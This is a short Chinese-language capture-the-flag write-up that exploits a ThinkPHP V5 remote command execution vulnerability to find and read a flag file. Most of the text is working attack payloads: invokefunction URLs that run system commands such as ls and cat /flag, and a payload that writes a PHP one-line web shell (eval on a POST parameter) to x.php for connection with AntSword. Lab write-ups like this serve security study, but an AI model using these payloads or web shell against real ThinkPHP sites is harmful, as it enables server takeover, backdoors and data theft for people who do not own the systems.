打开连接
立马拿到思路,应该是利用ThinkPHP框架的漏洞拿到flag
在此之前应该先确定框架的准确版本号
知道框架版本是V5了,在网上搜索一下ThinkPHP V5
这里推荐在GitHub社区搜
选中第一个,进去瞧瞧
这里列出了一堆漏洞,关于payload的构造
先随便试试某一条看看,试试5版本的
直接报错了,还提示了版本号,那就好办了
这里先试一下5.0.21的命令执行漏洞system
URL?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
id为想要执行的命令,也就是system('ls'),先执行ls看一下目录文件有啥
URL?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls
发现了当前目录的一些文件,好像也没放flag的地方,向上一级看看,在当前URL后面加上 ../
URL?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls ../
好像也没有,还是直接看看根目录吧
命令 ls /
URL?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /
找到flag的文件了,用命令cat进去看看
URL?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag
发现flag
当然还可以通过另一种方法,就是上传一句话木马,再用蚁剑或者是菜刀连接,一个个文件打开看看
让系统执行命令
echo '<?php @eval($_POST["x"]); ?>' >x.php
意思是在x.php的文件(不存在就创建)里输出<?php @eval($_POST["x"]); ?>这句话
参考
所以构建payload
URL?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo '<?php @eval($_POST["x"]); ?>' >x.php
然后打开蚁剑
点击添加
在里面就能找到放flag的文件啦